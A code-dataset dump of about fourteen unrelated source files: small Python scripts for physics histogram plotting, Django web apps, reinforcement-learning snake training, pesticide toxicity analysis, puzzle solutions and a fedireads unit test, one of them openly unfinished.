index
int64
0
1,000k
blob_id
stringlengths
40
40
code
stringlengths
7
10.4M
20,100
2a6e80e19d846113f8070e5f16aaa6157a305780
import os import sys import math def load_data(infile): with open(infile, 'r', encoding='ISO-8859-1') as f: data = f.readline().split() return int(data[0]), int(data[1]) def write_data(outfile): # not used if os.path.exists(outfile): os.remove(outfile) f = open(outfile, 'a+') #f.write('') f.close() def count_partial_permutations(n, k): return math.comb(n, k)*math.factorial(k) def main(argv): n, k = load_data(argv[0]) print(count_partial_permutations(n, k) % 1000000) if __name__ == "__main__": main(sys.argv[1:])
20,101
71a0e4288f7ca47c8ebc3f4802ef547fe161bae9
import ElementTree as ET from ROOT import TLorentzVector, TCanvas, TH1F,TLegend,gStyle,TLatex tree1 = ET.parse('pp_h2_h1h1_bbaa.lhe') root1=tree1.getroot() phi_bbar=[] phi_b=[] pt_b=[] pt_bbar=[] eta_b=[] eta_bbar=[] e_b=[] e_bbar=[] met=[] DR=[] m_h=[] phi_h=[] eta_h=[] pt_h=[] phi_phobar=[] phi_pho=[] pt_pho=[] pt_phobar=[] eta_pho=[] eta_phobar=[] e_pho=[] e_phobar=[] DR_pho=[] m_h_pho=[] phi_h_pho=[] eta_h_pho=[] pt_h_pho=[] p3=[] p4=[] gStyle.SetFrameLineWidth(3) gStyle.SetOptTitle(0) gStyle.SetOptStat(0) #gStyle.SetLegendBorderSize(2) gStyle.SetFillColor(2) gStyle.SetLineWidth(1) #gStyle.SetPadColor(1) #legend=TLegend(.63,.69,.87,.89,"","brNDC") #legend=TLegend(0.57, 0.5, 0.94,0.65,"","brNDC") c = TCanvas() cmsname=TLatex(0.15,0.95,' ') #cmsname=TLatex(0.15,1.85,"CMS #it{#bf{Preliminary}}") cmsname.SetTextSize(0.036) cmsname.SetTextAlign(12) cmsname.SetNDC(1) cmsname.SetTextFont(61) #lhefdata=LHEFData(float(root.attrib['version'])) for child in root1: if(child.tag=='event'): lines=child.text.strip().split('\n') event_header=lines[0].strip() num_part=int(event_header.split()[0].strip()) photon = [s for s in lines if s.split()[0]=='22'] pho = photon[1::2] phobar = photon[0::2] phi=[s for s in lines if s.split()[0]=='5' and ((s.split()[2]=='5' and lines[3].split()[0]=='25') or (s.split()[2]=='4' and lines[4].split()[0]=='25'))] chi=[s for s in lines if s.split()[0]=='-5' and ((s.split()[2]=='5' and lines[3].split()[0]=='25') or (s.split()[2]=='4' and lines[4].split()[0]=='25'))] ''' chibar=[s for s in lines if s.split()[0]=='-52'] b=[s for s in lines if s.split()[0]=='5'] bbar=[s for s in lines if s.split()[0]=='-5' and s.split()[2]=='4'] ''' p=[] p1=[] if phi: px=float (phi[0].split()[6]) py=float (phi[0].split()[7]) pz=float (phi[0].split()[8]) e=float (phi[0].split()[9]) m=float(phi[0].split()[10]) p=TLorentzVector(px,py,pz,e) pt_b.append(p.Pt()) eta_b.append(p.Eta()) e_b.append(p.E()) phi_b.append(p.Phi()) if pho: px3=float (pho[0].split()[6]) py3=float (pho[0].split()[7]) pz3=float (pho[0].split()[8]) e3=float (pho[0].split()[9]) p3=TLorentzVector(px3,py3,pz3,e3) pt_pho.append(p3.Pt()) eta_pho.append(p3.Eta()) e_pho.append(p3.E()) phi_pho.append(p3.Phi()) if phobar: px4=float (phobar[0].split()[6]) py4=float (phobar[0].split()[7]) pz4=float (phobar[0].split()[8]) e4=float (phobar[0].split()[9]) p4=TLorentzVector(px4,py4,pz4,e4) pt_phobar.append(p4.Pt()) eta_phobar.append(p4.Eta()) e_phobar.append(p4.E()) phi_phobar.append(p4.Phi()) if chi: px1=float (chi[0].split()[6]) py1=float (chi[0].split()[7]) pz1=float (chi[0].split()[8]) e1=float (chi[0].split()[9]) p1=TLorentzVector(px1,py1,pz1,e1) pt_bbar.append(p1.Pt()) eta_bbar.append(p1.Eta()) e_bbar.append(p1.E()) phi_bbar.append(p1.Phi()) if chi and phi: pi=[] pi=p+p1 m_h.append(pi.M()) DR.append(abs(p.DeltaR(p1))) phi_h.append(pi.Phi()) eta_h.append(pi.Eta()) pt_h.append(pi.Pt()) if pho and phobar: pb=[] pb=p3+p4 m_h_pho.append(pb.M()) DR_pho.append(abs(p3.DeltaR(p4))) phi_h_pho.append(pb.Phi()) eta_h_pho.append(pb.Eta()) pt_h_pho.append(pb.Pt()) ''' px2=float (chibar[0].split()[6]) py2=float (chibar[0].split()[7]) pz2=float (chibar[0].split()[8]) e2=float (chibar[0].split()[9]) p1=TLorentzVector(px1,py1,pz1,e1) p2=TLorentzVector(px2,py2,pz2,e2) pi=p1+p2 met.append(pi.Pt()) ''' ''' h1_met=TH1F("genMET","",100,0,1000) for i in met: h1_met.Fill(i) ''' h_mass=TH1F("Mass of h","",5,100,200) for i in m_h: h_mass.Fill(i) h_phi_h=TH1F("Phi of h","",10,-5,5) for i in phi_h: h_phi_h.Fill(i) h_eta_h=TH1F("Eta of h","",10,-8,8) for i in eta_b: h_eta_h.Fill(i) h_pt_h=TH1F("pT of h","",100,-10,500) for i in pt_h: h_pt_h.Fill(i) h1_DR=TH1F("DR(b,bbar)","",50,-2,8) for i in DR: h1_DR.Fill(i) h_eb=TH1F("Energy of b","",100,-100,2000) for i in e_b: h_eb.Fill(i) h_ptb=TH1F("pT of b","",100,-10,500) for i in pt_b: h_ptb.Fill(i) h_etab=TH1F("Eta of b","",10,-8,8) for i in eta_b: h_etab.Fill(i) h_phib=TH1F("Phi of b","",10,-5,5) for i in phi_b: h_phib.Fill(i) h_ebbar=TH1F("Energy of bbar","",100,-100,2000) for i in e_bbar: h_ebbar.Fill(i) h_ptbbar=TH1F("pT of bbar","",100,-10,500) for i in pt_bbar: h_ptbbar.Fill(i) h_etabbar=TH1F("Eta of bbar","",10,-8,8) for i in eta_bbar: h_etabbar.Fill(i) h_phibbar=TH1F("Phi of bbar","",10,-5,5) for i in phi_bbar: h_phibbar.Fill(i) h_mass_pho=TH1F("Mass of h","",100,100,150) for i in m_h_pho: h_mass_pho.Fill(i) h_phi_pho=TH1F("Phi of h","",10,-5,5) for i in phi_h_pho: h_phi_pho.Fill(i) h_eta_pho=TH1F("Eta of h","",10,-8,8) for i in eta_pho: h_eta_pho.Fill(i) h_pt_pho=TH1F("pT of h","",100,-10,500) for i in pt_h_pho: h_pt_pho.Fill(i) h1_DR_pho=TH1F("DR(pho,pho)","",50,-2,8) for i in DR_pho: h1_DR_pho.Fill(i) h_e_pho=TH1F("Energy of b","",100,-100,2000) for i in e_pho: h_e_pho.Fill(i) h_pt_pho=TH1F("pT of b","",100,-10,500) for i in pt_pho: h_pt_pho.Fill(i) h_eta_pho=TH1F("Eta of b","",10,-8,8) for i in eta_pho: h_eta_pho.Fill(i) h_phi_pho=TH1F("Phi of b","",10,-5,5) for i in phi_pho: h_phi_pho.Fill(i) #c=TCanvas() #c.SetLogy() ''' h1_met.SetXTitle("genMET[GeV]") h1_met.SetYTitle("Events") h1_met.Draw() cmsname.Draw() c.SaveAs("met.pdf") ''' h_mass.SetXTitle("Mass of h1[GeV] from b") h_mass.SetYTitle("Events") h_mass.Draw() cmsname.Draw() c.SaveAs("mass of h1 from b .png") h_phi_h.SetXTitle("Phi of h1 from b") h_phi_h.SetYTitle("Events") h_phi_h.Draw() cmsname.Draw() c.SaveAs("phi of h1 from b.png") h_eta_h.SetXTitle("Eta of h11 from b") h_eta_h.SetYTitle("Events") h_eta_h.Draw() cmsname.Draw() c.SaveAs("eta of h1 from b .png") h_pt_h.SetXTitle("Pt of h1 from b") h_pt_h.SetYTitle("Events") h_pt_h.Draw() cmsname.Draw() c.SaveAs("pt of h1 from b.png") h1_DR.SetXTitle("#DeltaR(b,bbar)") h1_DR.SetYTitle("Events") h1_DR.Draw() cmsname.Draw() c.SaveAs("DR for h1.png") h_eb.SetXTitle("Energy of b from h1") h_eb.SetYTitle("Events") h_eb.Draw() cmsname.Draw() c.SaveAs("eb of h1.png") h_ptb.SetXTitle("pT of b from h1") h_ptb.SetYTitle("Events") h_ptb.Draw() cmsname.Draw() c.SaveAs("ptb of h1.png") h_etab.SetXTitle("Eta of b from h1") h_etab.SetYTitle("Events") h_etab.Draw() cmsname.Draw() c.SaveAs("etab of h1.png") h_phib.SetXTitle("Phi of b from h1") h_phib.SetYTitle("Events") h_phib.Draw() cmsname.Draw() c.SaveAs("Phib of h1.png") h_ebbar.SetXTitle("Energy of b~ from h1") h_ebbar.SetYTitle("Events") h_ebbar.Draw() cmsname.Draw() c.SaveAs("ebbar of h1.png") h_ptbbar.SetXTitle("pT of b~ from h1") h_ptbbar.SetYTitle("Events") h_ptbbar.Draw() cmsname.Draw() c.SaveAs("ptbbar of h1.png") h_etabbar.SetXTitle("Eta of b~ h1") h_etabbar.SetYTitle("Events") h_etabbar.Draw() cmsname.Draw() c.SaveAs("etabbar of h1.png") h_phibbar.SetXTitle("Phi of b~ from h1") h_phibbar.SetYTitle("Events") h_phibbar.Draw() cmsname.Draw() c.SaveAs("Phibbar of h1.png") h_mass_pho.SetXTitle("Mass of h1_pho[GeV]") h_mass_pho.SetYTitle("Events") h_mass_pho.Draw() cmsname.Draw() c.SaveAs("mass of h_pho.png") h_phi_pho.SetXTitle("Phi of h1_pho") h_phi_pho.SetYTitle("Events") h_phi_pho.Draw() cmsname.Draw() c.SaveAs("phi of h_pho.png") h_eta_pho.SetXTitle("Eta of h1_pho") h_eta_pho.SetYTitle("Events") h_eta_pho.Draw() cmsname.Draw() c.SaveAs("eta of h1_pho.png") h_pt_pho.SetXTitle("Pt of h1_pho") h_pt_pho.SetYTitle("Events") h_pt_pho.Draw() cmsname.Draw() c.SaveAs("pt of h_pho.png") h1_DR_pho.SetXTitle("#DeltaR(pho,pho)") h1_DR_pho.SetYTitle("Events") h1_DR_pho.Draw() cmsname.Draw() c.SaveAs("DR for h_pho.png") h_e_pho.SetXTitle("Energy of pho from h") h_e_pho.SetYTitle("Events") h_e_pho.Draw() cmsname.Draw() c.SaveAs("e of pho.png") h_pt_pho.SetXTitle("pT of pho from h") h_pt_pho.SetYTitle("Events") h_pt_pho.Draw() cmsname.Draw() c.SaveAs("ptb of pho.png") h_eta_pho.SetXTitle("Eta of pho from h") h_eta_pho.SetYTitle("Events") h_eta_pho.Draw() cmsname.Draw() c.SaveAs("etab of pho.png") h_phi_pho.SetXTitle("Phi of pho from h") h_phi_pho.SetYTitle("Events") h_phi_pho.Draw() cmsname.Draw() c.SaveAs("Phib of pho.png") #c.BuildLegend(0.3,0.7,0.58,0.9,"(M_{#chi}=1, M_{#phi}=1000)")
20,102
da4cef61440ba70cf1d147e2710d1ed4a795acff
# -*- coding: utf-8 -*- """Check if contents of directory has changed. """ from __future__ import print_function import argparse import os import hashlib from .listfiles import list_files from .path import Path def digest(dirname, glob=None): """Returns the md5 digest of all interesting files (or glob) in `dirname`. """ md5 = hashlib.md5() if glob is None: fnames = [fname for _, fname in list_files(Path(dirname))] for fname in sorted(fnames): fname = os.path.join(dirname, fname) md5.update(open(fname, 'rb').read()) else: fnames = Path(dirname).glob(glob) for fname in sorted(fnames): md5.update(fname.open('rb').read()) return md5.hexdigest() def changed(dirname, filename='.md5', args=None, glob=None): """Has `glob` changed in `dirname` Args: dirname: directory to measure filename: filename to store checksum """ root = Path(dirname) if not root.exists(): # if dirname doesn't exist it is changed (by definition) return True cachefile = root / filename current_digest = cachefile.open().read() if cachefile.exists() else "" _digest = digest(dirname, glob=glob) if args and args.verbose: # pragma: nocover print("md5:", _digest) has_changed = current_digest != _digest if has_changed: with open(os.path.join(dirname, filename), 'w') as fp: fp.write(_digest) return has_changed class Directory(Path): """A path that is a directory. """ def changed(self, filename='.md5', glob=None): """Are any of the files matched by ``glob`` changed? """ if glob is not None: filename += '.glob-' + ''.join(ch.lower() for ch in glob if ch.isalpha()) return changed(self, filename, glob=glob) def main(): # pragma: nocover """Return exit code of zero iff directory is not changed. """ p = argparse.ArgumentParser() p.add_argument( 'directory', help="Directory to check" ) p.add_argument( '--verbose', '-v', action='store_true', help="increase verbosity" ) args = p.parse_args() import sys _changed = changed(sys.argv[1], args=args) sys.exit(_changed) if __name__ == "__main__": # pragma: nocover main()
20,103
6728b4f46b24d4aa25ef5fd9003d068025c79365
from django.db.models import Count from jchart import Chart from jchart.config import DataSet from blousebrothers.users.models import User from .models import Deck class Dispatching(Chart): """ How many cards in each category. """ chart_type = 'doughnut' request = None responsive = True maintainAspectRatio = False legend = { 'display': False, 'position': 'right', } colors = [ "#5cb85c", "#E8B510", "#d9534f" ] def get_labels(self, *args, **kwargs): return [str(Deck.DIFFICULTY_CHOICES[label[0]]) for label in Deck.DIFFICULTY_CHOICES] def get_lab_col_cnt(self): """ Used in template to display stat in table """ return zip(self.get_labels(), self.colors, self.data) def get_datasets(self, spe, **kwargs): user = self.request.user if user.is_anonymous(): user = User.objects.get(username='BlouseBrothers') qs = Deck.objects.filter(student=user) if spe: qs = qs.filter(card__specialities__id__exact=spe.id) dom = qs.values('difficulty').annotate(nb_dif=Count('difficulty')) self.data = [next((l['nb_dif'] for l in dom if l['difficulty'] == i), 0) for i in range(3)] return [DataSet(data=self.data, label="Répartition des fiches", backgroundColor=self.colors, hoverBackgroundColor=self.colors)]
20,104
fb6cd283da638efb8e3f21a19c2e62ad4b1d839c
""" settings_tags.py This file provides a simple Django Templatetag to expose the app's settings values in the HTML template environment. Settings are stored as 'csettings' to avoid a name conflict and accesses as {{ csettings.FOO }} in the templates. """ from django import template from django.conf import settings register = template.Library() # settings value @register.simple_tag def csettings(name): """ provides for the inclusion of setting variables within a template. """ return getattr(settings, name, "")
20,105
e33e9b55e5ba7050781235657586d433b55244d7
#Written by Michelle Sit #not finished yet #To be used with callbackServer3.py to check if user inputs are valid or not. class inputChecks(): def __init__(self): self.finStatus = False self.camVid = "" self.ServerTotalTimeSec = "" self.ServerResW = "" self.ServerResH = "" self.ServerNumPics = "" self.ServerTimeInterval = "" self.ServerFrameRate = "" def getCamVid(self): return self.camVid def getFinStatus(self): return self.finStatus def getTotalTimeSec(self): return self.ServerTotalTimeSec def getResW(self): return self.ServerResW def getResH(self): return self.ServerResH def getNumPics(self): return self.ServerNumPics def getTimeInterval(self): return self.ServerTimeInterval def getFR(self): return self.ServerFrameRate def start(self): self.camVid = input('Camera or Video: ').lower() print self.camVid if self.camVid = "camera": pass elif self.camVid = "video": pass #TODO: Check for negative numbers def totalTimeCheck(self): self.ServerTotalTimeSec = input('Enter total run time in seconds: ') if self.ServerTotalTimeSec == '0': print "Sorry, total time cannot be 0. Please enter a different time." self.totalTimeCheck() def resWCheck(self):
20,106
ad597316506c312ce2bdc7eae687b71ba2de61a5
from django.shortcuts import render from django.utils import timezone from .models import Post from django.views.generic import TemplateView class Postlist(TemplateView): def get(self, request, *args, **kwargs): return render(request, 'blog/post_list.html', context=None) class Aboutme(TemplateView): template_name = "blog/about.html" class MyBlog(TemplateView): template_name = "blog/blog.html"
20,107
0a754e36481fc6326087356a7cd19a25f2bb2ca5
from properties.config import PropertyReader config = PropertyReader()
20,108
b47cf88833256fdde1478202cd019a9452e41df5
from stable_baselines3 import PPO import os # from board_env import SnapyEnv from snapy_env import SnapyEnv import time from stable_baselines3.common.monitor import Monitor from stable_baselines3.common.vec_env import SubprocVecEnv, DummyVecEnv, VecNormalize, VecMonitor, VecCheckNan import json import torch if __name__ == '__main__': name = '1d' models_dir = f'models/{name}/' logdir = f'logs/{name}/' num_cpu = 4 if not os.path.exists(models_dir): os.makedirs(models_dir) if not os.path.exists(logdir): os.makedirs(logdir) # reward parameters dict reward_dict = { 'food_reward': 100, 'step_reward': 1, 'ouroboros_reward': -20, 'wall_reward': -5 } with open(models_dir + 'rewards', 'w') as f: f.write(json.dumps(reward_dict)) # torch.multiprocessing.set_start_method('spawn') # iniate env with rewards # create n_cpu SubprocVecEnv for multiprocessing # add envs to VecMonitor to get rollout logging data env = SnapyEnv(**reward_dict) # env = env.to('cuda') env = SubprocVecEnv([lambda: env for i in range(num_cpu)]) env = VecCheckNan(env, raise_exception=True) env = VecMonitor(env, logdir) # env = SnapyEnv(**reward_dict) # env = SnapyEnv(**reward_dict) # env = DummyVecEnv([lambda: env]) # env = Monitor(env, logdir) # model stuff # model = PPO('MlpPolicy', env, verbose=1, tensorboard_log=logdir, device='cpu') model = PPO('MlpPolicy', env, verbose=1, tensorboard_log=logdir, device='cuda') # model = PPO('MultiInputPolicy', env, verbose=1, tensorboard_log=logdir, device='cuda') # model.learn(total_timesteps=10000) TIMESTEPS = 100000 # max_iters = 25 start = time.time() iters = 0 max_iters = 250 # while iters < max_iters: while True: iters += 1 model.learn(total_timesteps=TIMESTEPS, reset_num_timesteps=False, tb_log_name="PPO") model.save(f"{models_dir}/{TIMESTEPS*iters}") end = time.time() print('Final time:', end-start)
20,109
9034bbcde8c9e3bc131fa6a7d57f302675ee6d98
#!/usr/bin/python # -*- coding: utf-8 -*- import pandas as pd import numpy as np import os dir_path = os.getcwd() def fileInFolder(folderPath): # list all of the files in a folder files = os.listdir(folderPath) return files def mkFolderNotExist(folderPath): if not os.path.exists(folderPath): os.makedirs(folderPath) def readInPestAndMainCSV(pestFile, mainFile): pestDF = pd.read_csv(pestFile, converters={'state': str, 'county': str, 'crop': str, 'state_poid': str, 'aicode1': str, 'aicode2': str}) mainDF = pd.read_csv(mainFile, dtype={'state': str, 'county': str, 'state_poid': str}) return pestDF, mainDF def pestDFbyCrops (pestDF): # 2. segarate pestDF to crop type pestGroups = pestDF.groupby('crop') cropFolder = os.path.join(dir_path, 'pestCrop') mkFolderNotExist(cropFolder) # 3. create a folder to host those pest files for each crop type for key, values in pestGroups: # print pestGroups.get_group(key) pestGroups.get_group(key).to_csv(os.path.join(cropFolder, key + '.csv'), index=False) return cropFolder def readInCropFile (cropFilePath, cropFile, strColList): fileName = os.path.join(cropFilePath, cropFile) cropType = fileName.split('.')[0].split('/')[-1] # print cropType strDict = {} for strName in strColList: strDict[strName] = str df = pd.read_csv(fileName, converters=strDict) return cropType, df def getAIcol(df, df_group, otherAICols, otherAICols_amt): for col in otherAICols: index = otherAICols.index(col) df_group[col] = '' # get aicode2 amount value column back df_group = getValueBasedOnAnotherCol(df, df_group, 'aicode1', col, otherAICols_amt[index]) return df_group def calUnitPest (df_group, aiAmountList, yieldCol): for aiCol in aiAmountList: newColName = aiCol.split('_')[0] + '_unit' df_group[newColName] = df_group[aiCol].div(df_group[yieldCol]) # drop the sum and yield col colsToDrop = aiAmountList colsToDrop.append(yieldCol) df_group.drop(colsToDrop, axis=1, inplace=True) return df_group def createYieldCol(df_group, mainDF, cropDict, cropType, farmerId): df_group['yield'] = np.nan # attach yield to pest df for each farmer df_group = getYieldFromMain2(df_group, mainDF, 'yield', cropDict, farmerId, cropType) return df_group def readInUSEtox(USEtoxFile): USEToxDF = pd.read_excel(USEtoxFile, converters={'PCCode1': str, 'PCCode2': str, 'PCCode3': str}) return USEToxDF def appendCF(df_group_unit, USEToxDF, aiCodeList): toxCols = ['eco_mid', 'eco_end', 'hhc_mid', 'hhc_end', 'hhnc_mid', 'hhnc_end'] for aiCode in aiCodeList: df_group_zero = getUSEtoxValue_zeroToMissing(df_group_unit, USEToxDF, toxCols, aiCode) df_group_secondQ = getUSEtoxValue_secondQuantileToMissing(df_group_unit, USEToxDF, toxCols, aiCode) df_group_thirdQ = getUSEtoxValue_thirdQuantileToMissing(df_group_unit, USEToxDF, toxCols, aiCode) df_group_max = getUSEtoxValue_maxToMissing(df_group_unit, USEToxDF, toxCols, aiCode) return df_group_zero, df_group_secondQ, df_group_thirdQ, df_group_max def getValueBasedOnAnotherCol(df_from, df_to, col_from, col_to, refCol_to): colCount_to = df_to.shape[0] for i in range(colCount_to): if pd.isnull(df_to[refCol_to][i]): continue else: df_to[col_to][i] = df_from.loc[df_from[col_from] == df_to[col_from][i], col_to].iloc[0] return df_to def getYieldFromMain(df, df_main, yieldColName, cropDict, farmIdColName, cropColName): colCount = df.shape[0] for i in range(colCount): if pd.isnull(df[farmIdColName][i]): continue else: cropCode = df[cropColName][i] mainCropColName = cropDict[cropCode] df[yieldColName][i] = df_main.loc[df_main[farmIdColName] == df[farmIdColName][i], mainCropColName] return df def getYieldFromMain2(df, df_main, yieldColName, cropDict, farmIdColName, cropCode): colCount = df.shape[0] for i in range(colCount): if pd.isnull(df[farmIdColName][i]): continue else: mainCropColName = cropDict[cropCode] df[yieldColName][i] = df_main.loc[df_main[farmIdColName] == df[farmIdColName][i], mainCropColName] return df def getUSEtoxValue(df, df_useTox, colNameList, aiColName): colCount = df.shape[0] for col in colNameList: dfColName = col + '_' + aiColName print dfColName df[dfColName] = np.nan for i in range(colCount): chemCode = df[aiColName][i] # check if a value is in the column if chemCode in df_useTox['PCCode1'].values: df[dfColName][i] = df_useTox.loc[df_useTox['PCCode1']==chemCode, col] elif chemCode in df_useTox['PCCode2'].values: df[dfColName][i] = df_useTox.loc[df_useTox['PCCode2'] == chemCode, col] elif chemCode in df_useTox['PCCode3'].values: df[dfColName][i] = df_useTox.loc[df_useTox['PCCode3'] == chemCode, col] return df def getUSEtoxValue_withMissingAssignment(df, df_useTox, colNameList, aiColName, assignment): rowCount = df.shape[0] df_new = df.copy() for col in colNameList: dfColName = col + '_' + aiColName df_new[dfColName] = np.nan for i in range(rowCount): chemCode = df_new.loc[i, aiColName] # check if a value is in the column if chemCode in df_useTox['PCCode1'].values: df_new.loc[i, dfColName] = df_useTox.loc[df_useTox['PCCode1'] == chemCode, col].iloc[0] elif chemCode in df_useTox['PCCode2'].values: df_new.loc[i, dfColName] = df_useTox.loc[df_useTox['PCCode2'] == chemCode, col].iloc[0] elif chemCode in df_useTox['PCCode3'].values: df_new.loc[i, dfColName] = df_useTox.loc[df_useTox['PCCode3'] == chemCode, col].iloc[0] elif len(chemCode) == 0: df_new.loc[i, dfColName] = 0.0 if pd.isnull(df_new.loc[i, dfColName]): if assignment == 'zero': df_new.loc[i, dfColName] = 0.0 elif assignment == 'max': df_new.loc[i, dfColName] = max(df_useTox[col].values) elif assignment == 'secondQ': df_new.loc[i, dfColName] = df_useTox[col].quantile(0.25) elif assignment == 'thirdQ': df_new.loc[i, dfColName] = df_useTox[col].quantile(0.75) return df_new def getValue(df_useTox_col, assignedCriteria): if assignedCriteria == 'zero': value = 0.0 elif assignedCriteria == 'max': value = np.nanmax(df_useTox_col.values) elif assignedCriteria == 'secondQ': value = np.nanpercentile(df_useTox_col, 50) elif assignedCriteria == 'thirdQ': value = np.nanpercentile(df_useTox_col, 70) elif assignedCriteria == 'avg': value = np.nanmean(df_useTox_col.values) elif assignedCriteria == 'min': value = np.nanmin(df_useTox_col.values) return value def getUSEtoxValue(df, df_useTox, colNameList, aiColName, assignedCriteria): # colNameList is toxCols rowCount = df.shape[0] for col in colNameList: dfColName = col + '_' + aiColName df[dfColName] = np.nan for i in range(rowCount): value = getValue(df_useTox[col], assignedCriteria) chemCode = str(df.loc[i, aiColName]) if chemCode != 'nan': # check if a value is in the column if chemCode in df_useTox['PCCode1'].values: df.loc[i, dfColName] = df_useTox.loc[df_useTox['PCCode1'] == chemCode, col].iloc[0] elif chemCode in df_useTox['PCCode2'].values: df.loc[i, dfColName] = df_useTox.loc[df_useTox['PCCode2'] == chemCode, col].iloc[0] elif chemCode in df_useTox['PCCode3'].values: df.loc[i, dfColName] = df_useTox.loc[df_useTox['PCCode3'] == chemCode, col].iloc[0] else: df.loc[i, dfColName] = value # this need to put in the last order so that all NA would be convert to 0s if pd.isnull(df.loc[i, dfColName]): df.loc[i, dfColName] = value return df def multiplyCols(df, unitColList, multiplyColLists): df_new = df.copy() for unitCol in unitColList: index = unitColList.index(unitCol) multiColList = multiplyColLists[index] for multiCol in multiColList: newCol = multiCol + '_' + unitCol df_new[newCol] = df[unitCol] * df[multiCol] df_new = df_new.drop(multiCol, axis=1) return df_new def divideColsPerc(df, colList, sumColList): for col in colList: index = colList.index(col) df[colList[index] + '_perc'] = df[colList[index]].div(df[sumColList[index]]) return df def sumCols(df, sumColLists, toxCols): colCount = len(sumColLists[0]) sumColCount = len(sumColLists) rowCount = df.shape[0] for i in range(colCount): df[toxCols[i]] = 0.0 for j in range(rowCount): # for cell with NAN, use 0 for summation for m in range(sumColCount): df.loc[j, toxCols[i]] = df.loc[j, sumColLists[m][i]] + df.loc[j, toxCols[i]] # delete the sumColList1 and sumColList2 for m in range(sumColCount): df = df.drop(sumColLists[m], axis=1) return df def percCols(df, colNameList, groupByList): for col in colNameList: newCol = col + '_' + 'pct' df[newCol] = df.groupby(groupByList)[col].apply(lambda x: x.astype(float) / x.sum()) df = df.drop(df[col], axis=1) return df def get_stats(group): return {'min': group.min(), 'max': group.max(), 'count': group.count(), 'mean': group.mean(), 'standard deviation': group.std()} def multiplyAndSumCF (df, unitColList, multiplyColLists, sumColLists, colNameList): df = multiplyCols(df, unitColList, multiplyColLists) df = sumCols(df, sumColLists, colNameList) # drop unitColList df.drop(unitColList, axis=1, inplace=True) return df
20,110
0005e3a24ca0849e5754e262a560a749f1c9882a
from . import db from datetime import datetime class BlogPost(db.Model): id = db.Column(db.Integer, primary_key=True) title = db.Column(db.String(100), nullable=False) content = db.Column(db.Text, nullable=False) author = db.Column(db.String(20), nullable=False, default='N/A') date_posted = db.Column(db.DateTime, nullable=False, default=datetime.utcnow) comments = db.relationship('BlogComments',backref = 'comments',lazy="dynamic") def __repr__(self): return 'Blog post ' + str(self.id) class BlogComments(db.Model): id = db.Column(db.Integer, primary_key=True) comment = db.Column(db.Text, nullable=False) blog_id = db.Column(db.Integer, db.ForeignKey('blog_post.id')) class User(db.Model): __tablename__ = 'users' id = db.Column(db.Integer,primary_key = True) name = db.Column(db.String(255)) email = db.Column(db.String(255),unique = True,index = True) def __repr__(self): return f'User {self.username}'
20,111
5fc00f97e7182d5371b0f4c94a5c61d6a9cd3d86
#encoding utf-8 # ---------------------------------------------------------Libraries-------------------------------------------------------- # Standard Library # Third-party Libraries import numpy as np # User Define Module from nodes import Nodes from acfun import AcFun # --------------------------------------------------------Global Strings---------------------------------------------------- # -------------------------------------------------------------Main--------------------------------------------------------- class NN(object): """Meta class for neural network models. """ def __init__(self, name): """Initialize function. :Param name: the name of this neural network model. """ self.name = name def __repr__(self): """Instance display format. """ return '<Neural Network: %s, size: %d>' % (self.name, self.hidden_size) def init_model(self, input_size, hidden_size, **kwargs): """Initialize neral network model. :Param input_size: size of input layer :Param hidden_size: size of hidden layer :Param en_bptt: if using BPTT for calculating error gradients """ # the size of input layer self.input_size = input_size # the node number of hidden layer self.hidden_size = hidden_size # if use bias term in activation function in hidden layer self.en_bias = kwargs.get('EN_BIAS') or False # activation function in hidden layer self.acfun = AcFun(kwargs.get('AC_FUN') or 'tanh') # parameters for nodes in hidden layer self.nodes = Nodes(self.input_size, self.hidden_size, self.en_bias) def random(self, lower, upper, shape): """Generate a matrix whose elements are random number between lower and upper. :Param lower: the lower for the random number :Param upper: the upper for the random number :Param shape: the matrix's size """ return np.random.uniform(lower, upper, shape) def store(self): """Backup models' parameters. """ self.nodes.store() def restore(self): """Roll back to previous iteration. """ self.nodes.restore()
20,112
a7843fc5d2b3efc5bfa2d3fa5fadf67352f68320
programsInput = open('input.txt', 'r').read().strip() #programsInput = open('input_example.txt', 'r').read().strip() registers = {} maxRegister = 0 for instruction in programsInput.splitlines(): instructions = instruction.split() if instructions[0] not in registers: registers[instructions[0]] = 0 if instructions[4] not in registers: registers[instructions[4]] = 0 satisfy = False if instructions[5] == ">": if registers[instructions[4]] > int(instructions[6]): satisfy = True if instructions[5] == "<": if registers[instructions[4]] < int(instructions[6]): satisfy = True if instructions[5] == ">=": if registers[instructions[4]] >= int(instructions[6]): satisfy = True if instructions[5] == "<=": if registers[instructions[4]] <= int(instructions[6]): satisfy = True if instructions[5] == "==": if registers[instructions[4]] == int(instructions[6]): satisfy = True if instructions[5] == "!=": if registers[instructions[4]] != int(instructions[6]): satisfy = True if satisfy: if instructions[1] == 'inc': registers[instructions[0]] += int(instructions[2]) elif instructions[1] == 'dec': registers[instructions[0]] -= int(instructions[2]) if registers[instructions[0]] > maxRegister: maxRegister = registers[instructions[0]] max = 0 for key in registers: if registers[key] > max: max = registers[key] print("part 1:",max) print("Part 2:",maxRegister)
20,113
ed5851aed39692851c419ba35d178bddea401136
from django.test import TestCase from fedireads import models from fedireads import status as status_builder class Quotation(TestCase): ''' we have hecka ways to create statuses ''' def setUp(self): self.user = models.User.objects.create_user( 'mouse', 'mouse@mouse.mouse', 'mouseword') self.book = models.Edition.objects.create(title='Example Edition') def test_create_quotation(self): quotation = status_builder.create_quotation( self.user, self.book, 'commentary', 'a quote') self.assertEqual(quotation.quote, 'a quote') self.assertEqual(quotation.content, 'commentary') def test_quotation_from_activity(self): activity = { 'id': 'https://example.com/user/mouse/quotation/13', 'url': 'https://example.com/user/mouse/quotation/13', 'inReplyTo': None, 'published': '2020-05-10T02:38:31.150343+00:00', 'attributedTo': 'https://example.com/user/mouse', 'to': [ 'https://www.w3.org/ns/activitystreams#Public' ], 'cc': [ 'https://example.com/user/mouse/followers' ], 'sensitive': False, 'content': 'commentary', 'type': 'Note', 'attachment': [ { 'type': 'Document', 'mediaType': 'image//images/covers/2b4e4712-5a4d-4ac1-9df4-634cc9c7aff3jpg', 'url': 'https://example.com/images/covers/2b4e4712-5a4d-4ac1-9df4-634cc9c7aff3jpg', 'name': 'Cover of \'This Is How You Lose the Time War\'' } ], 'replies': { 'id': 'https://example.com/user/mouse/quotation/13/replies', 'type': 'Collection', 'first': { 'type': 'CollectionPage', 'next': 'https://example.com/user/mouse/quotation/13/replies?only_other_accounts=true&page=true', 'partOf': 'https://example.com/user/mouse/quotation/13/replies', 'items': [] } }, 'inReplyToBook': self.book.remote_id, 'fedireadsType': 'Quotation', 'quote': 'quote body' } 